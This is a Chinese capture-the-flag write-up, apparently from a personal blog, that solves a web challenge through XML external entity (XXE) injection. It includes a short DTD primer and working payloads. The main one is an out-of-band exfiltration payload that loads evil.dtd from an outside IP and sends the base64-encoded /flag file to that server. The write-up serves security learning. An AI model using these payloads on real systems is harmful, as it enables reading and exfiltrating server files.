题干
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
<div class="container">
<header>
<h1><img src="..." alt="雪王Logo" class="logo">雪王生擒明珠塔</h1>
<p class="mission">帮助雪王,向东方明珠塔的护盾发送特殊信号,找到藏在塔内的旗帜/flag。</p>
</header>
<main>
<div class="input-area">
<label for="payloadInput” class="input-label">在此进行你的攻击:</label>
<textarea id="payloadInput" rows="12" placeholder="Enter your payload here..."></textarea>
</div>
<button onclick="submitProposal()" class="attack-button">发起总攻</button>
<div id="response-message” class="response-area">等待指令...</div>
</main>
<footer>
<p>雪王安全实验室 ©;2025</p>
</footer>
</div>
|
尝试
抓包如图:

了解到可能是 xxe 漏洞
XML 的知识
基本结构:
1
2
3
4
5
6
7
8
9
10
|
<!--XML声明-->
<?xml version="1.0" encoding="UTF-8"?>
<!--DTD,这部分可选的-->
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<!--文档元素--> <foo>&xxe;</foo>
|
DTD
外部(.dtd 文件)和内部 DTD
声明方式如下:
内部实体
1
2
3
4
5
|
<!DOCTYPE note [
<!ENTITY a "admin">
]>
<note>&a</note>
<!-- admin -->
|
参数实体
1
2
3
4
5
|
<!DOCTYPE note> [
<!ENTITY % b "<!ENTITY b1 "awsl">">
%b;
]>
<note>&b1</note>
|
外部实体
1
2
3
4
|
<!DOCTYPE note> [
<!ENTITY c SYSTEM "php://filter/read=convert.base64-encode/resource=flag.php">
]>
<note>&c</note>
|
支持http,file等协议,不同的语言支持的协议不同
外部参数实体
1
2
3
4
5
|
<!DOCTYPE note> [
<!ENTITY % d SYSTEM "http://47.106.143.26/xml.dtd">
%d;
]>
<note>&d1</note>
|
1
2
|
<!-- http://47.106.143.26/xml.dtd -->
<!ENTITY d1 SYSTEM "data://text/plain;base64,Y2w0eV9uZWVkX2FfZ3JpbGZyaWVuZA==">
|
继续题目
尝试直接引入外部实体:
1
2
3
4
5
|
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY rabbit SYSTEM "file:///flag" >
]>
<user><username>&rabbit;</username></user>
|
响应:

为什么不行?
尝试引入服务器外部实体、外带:
payload:
1
2
3
4
5
|
<!DOCTYPE hacker[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % myurl SYSTEM "http://8.137.145.223/evil.dtd">
%myurl;
]>
|
evil.dtd:
1
2
3
|
<!ENTITY % wrapper "<!ENTITY % send SYSTEM 'http://8.137.145.223/?x=%file;'>">
%wrapper;
%send;
|
python3 -m http.server 8000
测试外网可以正常访问,改包重发:

还是不行,为什么?
解决
最后发现问题在于,默认访问的是 80 端口!!!而启动服务器的时候启动了 8000……
服务器:

bp:

终于!!
一些启示
- 先搜集信息定方向,然后具体学习相关知识
- 总是有一些奇怪的错误,定位到知识上去解决,不要乱试